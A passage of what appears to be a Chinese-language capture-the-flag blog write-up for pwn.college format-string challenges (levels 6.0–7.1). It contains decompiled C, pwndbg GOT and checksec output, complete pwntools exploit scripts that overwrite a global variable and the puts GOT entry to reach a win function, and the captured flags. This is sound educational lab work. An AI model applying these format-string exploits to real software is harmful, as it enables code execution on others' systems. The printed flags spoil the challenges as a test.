HOST, PORT = "localhost", 1337
gdbscript = """
b *func+173
b *func+417
b *check_win+79
c
"""
@contextmanager
def launch(local=True, debug=False, aslr=False, argv=None, envp=None):
target = None
try:
if local:
global elf
elf = ELF(FILE)
context.binary = elf
target = (
gdb.debug(
[elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, e
nv=envp
)
if debug
else process([elf.path] + (argv or []), env=envp)
)
else:
target = remote(HOST, PORT)
yield target
finally:
if target:
target.close()
def construct_payload(random_value_position, position, var_offset):
return flat(
f"%*{random_value_position}$c%{position}$naaaaaaaaax00",
elf.bss() + var_offset,
)
def attack(target):
try:
payload = construct_payload(68, 30, 0xB8)
target.sendafter(b"Send your data!", payload)
response = target.recvall(timeout=3)
if b"pwn.college{" in response:
return True
except Exception as e:
log.exception(f"An error occurred while performing attack: {e}")
def main():
try:
with launch(debug=False) as target:
if attack(target):
log.success("Attack completed successfully.")
else:
log.failure("Attack did not yield a flag.")
except Exception as e:
log.exception(f"An error occurred in main: {e}")
if __name__ == "__main__":
main()
```
## Flag
Flag: `pwn.college{ExgmxPb8JckvvOZvTLw9kufKyFP.dZjM0MDL5cTNxgzW}`
# Level 6.1
## Information
- Category: Pwn
## Description
> Use a format string exploit to copy a value and overwrite a global variable.
## Write-up
参见 [Level 6.0](#level-60)。
## Exploit
```python
#!/usr/bin/python3
from contextlib import contextmanager
from pwn import ELF, context, flat, gdb, log, process, remote
context(log_level="debug", terminal="kitty")
FILE = "./babyfmt_level6.1"
HOST, PORT = "localhost", 1337
gdbscript = """
b *func+100
b *func+305
b *check_win+79
c
"""
@contextmanager
def launch(local=True, debug=False, aslr=False, argv=None, envp=None):
target = None
try:
if local:
global elf
elf = ELF(FILE)
context.binary = elf
target = (
gdb.debug(
[elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, e
nv=envp
)
if debug
else process([elf.path] + (argv or []), env=envp)
)
else:
target = remote(HOST, PORT)
yield target
finally:
if target:
target.close()
def construct_payload(random_value_position, position, var_offset):
return flat(
f"%*{random_value_position}$c%{position}$naaaaaaaaaaax00",
elf.bss() + var_offset,
)
def attack(target):
try:
payload = construct_payload(66, 31, 0xB8)
target.sendafter(b"Send your data!", payload)
response = target.recvall(timeout=3)
if b"pwn.college{" in response:
return True
except Exception as e:
log.exception(f"An error occurred while performing attack: {e}")
def main():
try:
with launch(debug=False) as target:
if attack(target):
log.success("Attack completed successfully.")
else:
log.failure("Attack did not yield a flag.")
except Exception as e:
log.exception(f"An error occurred in main: {e}")
if __name__ == "__main__":
main()
```
## Flag
Flag: `pwn.college{o3IDJsXjzJ3CBMBZz_66rdU2oQR.ddjM0MDL5cTNxgzW}`
# Level 7.0
## Information
- Category: Pwn
## Description
> Use a format string exploit to overwrite a got entry.
## Write-up
```c del={40} collapse={1-36}
int __fastcall main(int argc, const char **argv, const char **envp)
{
size_t v3; // rax
size_t v4; // rax
int fd; // [rsp+2Ch] [rbp-14h]
const char **i; // [rsp+30h] [rbp-10h]
const char **j; // [rsp+38h] [rbp-8h]
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(_bss_start, 0LL, 2, 0LL);
puts("###");
printf("### Welcome to %s!n", *argv);
puts("###");
putchar(10);
if ( argc <= 0 )
__assert_fail("argc > 0", "<stdin>", 0xA0u, "main");
puts(
"In this challenge, you will be performing attack against the old and famous
vulnerability:n"
""format string vulnerability". This challenge reads in some bytes and print
then"
"input as the format using `printf` in different ways(depending on the speci
fic challengen"
"configuration). Different challenges have different protections on. ROP may
be needed inn"
"some challenges. Have fun!");
puts("To ensure that you are ROPing, rather than doing other tricks, this");
puts("will sanitize all environment variables and arguments and close all file
");
puts("descriptors > 2,");
putchar(10);
for ( fd = 3; fd <= 9999; ++fd )
close(fd);
for ( i = argv; *i; ++i )
{
v3 = strlen(*i);
memset((void *)*i, 0, v3);
}
for ( j = envp; *j; ++j )
{
v4 = strlen(*j);
memset((void *)*j, 0, v4);
}
func();
puts("### Goodbye!");
return 0;
}
```
```c ins={19-20} del={22} collapse={1-15}
unsigned __int64 func()
{
char v1[1032]; // [rsp+60h] [rbp-410h] BYREF
unsigned __int64 v2; // [rsp+468h] [rbp-8h]
v2 = __readfsqword(0x28u);
puts("In this challenge, you can perform format string attack for infinite tim
es");
puts("You can use the the attack to leak information and prepare your payload"
);
puts("After your payload is ready, send "END" to exit from the while loop");
puts("And hopefully your payload can be triggered :)n");
memset(v1, 0, 0x400uLL);
puts("You can use `checksec` command to check the protection of the binary.");
while ( 1 )
{
puts("nNow, the program is waiting for your input.");
puts("If your input contains "END", the program exits from the while loop be
fore triggering the vulnerability:");
memset(v1, 0, 0x400uLL);
memset(v1, 0, 0x400uLL);
if ( (int)read(0, v1, 0x3FFuLL) <= 0 || strstr(v1, "END") )
break;
puts("Show me what you got :P");
printf(v1);
}
return __readfsqword(0x28u) ^ v2;
}
```
并没有什么特别的地方，只要 `read` 返回 `> 0`，并且输入中不包含 `END` 程序就可以
无限次触发格式化字符串漏洞。而我们的目标是执行下面这个 `win` 函数。
```c
void __noreturn win()
{
int v0; // eax
puts("You win! Here is your flag:");
v0 = open("/flag", 0);
sendfile(1, v0, 0LL, 0x400uLL);
exit(0);
}
```
检查保护措施，发现没开 PIE，看到这个就开心，因为之后利用起来会比较轻松……有 Canar
y，但因为格式化字符串漏洞的存在，我们可以直接忽略掉它。重点在于这个程序是 Partia
l RELRO 的，这个 RELRO 级别的 GOT 表是可写的，注意到我们触发格式化字符串漏洞之后
程序返回到 `main` 还会调用一次 `puts` 函数（对于 7.1 是这样的，但对于 7.0 这个情
况，事实上我们会在循环体内再次出发 `puts`，所以 7.0 可以不输入 `END`），那我们只
要通过格式化字符串漏洞把 `puts` 的 GOT 表内容篡改为 `win` 的地址就好了，篡改后再
次调用 `puts` 就会执行 `win`。
需要注意的点是由于 `win` 内部还有一个 `puts`，所以我们要跳过它。
```asm wrap=false showLineNumbers=false {17} ins={37} del={4}
pwndbg> checksec
File: /home/cub3y0nd/Projects/pwn.college/babyfmt_level7.0
Arch: amd64
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled
Stripped: No
pwndbg> got
Filtering out read-only entries (display them with -r or --show-readonly)
State of the GOT of /home/cub3y0nd/Projects/pwn.college/babyfmt_level7.0:
GOT protection: Partial RELRO | Found 15 GOT entries passing the filter
[0x404018] putchar@GLIBC_2.2.5 -> 0x7502eb8c8310 (putchar) <- endbr64
[0x404020] puts@GLIBC_2.2.5 -> 0x7502eb8c6360 (puts) <- endbr64
[0x404028] strlen@GLIBC_2.2.5 -> 0x7502eb9b3040 <- endbr64
[0x404030] __stack_chk_fail@GLIBC_2.4 -> 0x401060 <- endbr64
[0x404038] setbuf@GLIBC_2.2.5 -> 0x7502eb8cdb30 (setbuf) <- endbr64
[0x404040] printf@GLIBC_2.2.5 -> 0x7502eb89de00 (printf) <- endbr64
[0x404048] __assert_fail@GLIBC_2.2.5 -> 0x401090 <- endbr64
[0x404050] memset@GLIBC_2.2.5 -> 0x7502eb9b0cc0 <- endbr64
[0x404058] close@GLIBC_2.2.5 -> 0x7502eb94be60 (close) <- endbr64
[0x404060] read@GLIBC_2.2.5 -> 0x7502eb950a20 (read) <- endbr64
[0x404068] sendfile@GLIBC_2.2.5 -> 0x4010d0 <- endbr64
[0x404070] setvbuf@GLIBC_2.2.5 -> 0x7502eb8c6b10 (setvbuf) <- endbr64
[0x404078] open@GLIBC_2.2.5 -> 0x4010f0 <- endbr64
[0x404080] exit@GLIBC_2.2.5 -> 0x401100 <- endbr64
[0x404088] strstr@GLIBC_2.2.5 -> 0x401110 <- endbr64
pwndbg> i fun win
All functions matching regular expression "win":
Non-debugging symbols:
0x0000000000401540 win
0x00007502eb8cda20 rewind
0x00007502eb8e2330 __pthread_unwind_next
0x00007502eb927940 rewinddir
0x00007502eb95d260 __libc_unwind_link_get
```
所以这时候没 PIE 的爽就体现出来了，不需要想办法泄漏 GOT 表，已经被看光光了，指哪
打哪 LOL
> 19:27，为什么我想睡觉？一定是被自己出的烂题折腾惨了……打完这题刷电影去～<br />
> 20:49，啊啊啊啊啊写 0 真麻烦，不干了！
## Exploit
```python
#!/usr/bin/python3
from contextlib import contextmanager
from pwn import ELF, context, flat, gdb, log, process, remote
context(log_level="debug", terminal="kitty")
FILE = "./babyfmt_level7.0"
HOST, PORT = "localhost", 1337
gdbscript = """
b *func+280
c
"""
@contextmanager
def launch(local=True, debug=False, aslr=False, argv=None, envp=None):
target = None
try:
if local:
global elf
elf = ELF(FILE)
context.binary = elf
target = (
gdb.debug(
[elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, e
nv=envp
)
if debug
else process([elf.path] + (argv or []), env=envp)
)
else:
target = remote(HOST, PORT)
yield target
finally:
if target:
target.close()
def construct_payload(position):
puts_got = 0x404020
parts = [0x1554, 0x0040, 0x0000, 0x0000]
align_stack = b"a" * 3
written_chars = len(align_stack) % 0x10000
fmtstr_parts = []
for idx, target_byte in enumerate(parts):
padding = (target_byte - written_chars) % 0x10000
fmtstr_parts.append(
f"%{padding}x%{position + idx}$hn"
if padding > 0
else f"%{position + idx}$hn"
)
written_chars += padding
fmtstr = "".join(fmtstr_parts).encode("ascii") + b"x00"
addresses = [puts_got + (i * 0x2) for i in range(len(parts))]
return flat(
align_stack,
fmtstr,
*addresses,
)
def attack(target):
try:
payload = construct_payload(24)
target.sendafter(b"vulnerability:", payload)
response = target.recvall(timeout=3)
if b"pwn.college{" in response:
return True
except Exception as e:
log.exception(f"An error occurred while performing attack: {e}")
def main():
try:
with launch(debug=False) as target:
if attack(target):
log.success("Attack completed successfully.")
else:
log.failure("Attack did not yield a flag.")
except Exception as e:
log.exception(f"An error occurred in main: {e}")
if __name__ == "__main__":
main()
```
## Flag
Flag: `pwn.college{Ux3-i0zQW7ZkTY5X_RLl2eIH1Fb.dhjM0MDL5cTNxgzW}`
# Level 7.1
## Information
- Category: Pwn
## Description
> Use a format string exploit to overwrite a got entry.
## Write-up
参见 [Level 7.0](#level-70)。
## Exploit
```python
#!/usr/bin/python3
from contextlib import contextmanager
from pwn import ELF, context, flat, gdb, log, process, remote
context(log_level="debug", terminal="kitty")
FILE = "./babyfmt_level7.1"
HOST, PORT = "localhost", 1337
gdbscript = """
b *func+198
c
"""
@contextmanager
def launch(local=True, debug=False, aslr=False, argv=None, envp=None):
target = None
try:
if local:
global elf
elf = ELF(FILE)
context.binary = elf
target = (
gdb.debug(
[elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, e
nv=envp
)
if debug
else process([elf.path] + (argv or []), env=envp)
)
else:
target = remote(HOST, PORT)
yield target
finally:
if target:
target.close()
def construct_payload(position):
puts_got = 0x404020
parts = [0x1351, 0x0040, 0x0000, 0x0000]
align_stack = b"a" * 3
written_chars = len(align_stack) % 0x10000
fmtstr_parts = []
for idx, target_byte in enumerate(parts):
padding = (target_byte - written_chars) % 0x10000
fmtstr_parts.append(
f"%{padding}x%{position + idx}$hn"
if padding > 0
else f"%{position + idx}$hn"
)
written_chars += padding
fmtstr = "".join(fmtstr_parts).encode("ascii") + b"x00"
addresses = [puts_got + (i * 0x2) for i in range(len(parts))]
return flat(
align_stack,
fmtstr,
*addresses,
)
def attack(target):
try:
payload = construct_payload(72)
target.sendafter(b"Have fun!", payload)
target.sendline(b"END")
response = target.recvall(timeout=3)
if b"pwn.college{" in response:
return True
except Exception as e:
log.exception(f"An error occurred while performing attack: {e}")
def main():
try:
with launch(debug=False) as target:
if attack(target):
log.success("Attack completed successfully.")
else:
log.failure("Attack did not yield a flag.")
except Exception as e:
log.exception(f"An error occurred in main: {e}")
if __name__ == "__main__":
main()
```
## Flag
Flag: `pwn.college{s0yYpAm36BLU2Mp5PhbvBmPuc-3.dljM0MDL5cTNxgzW}`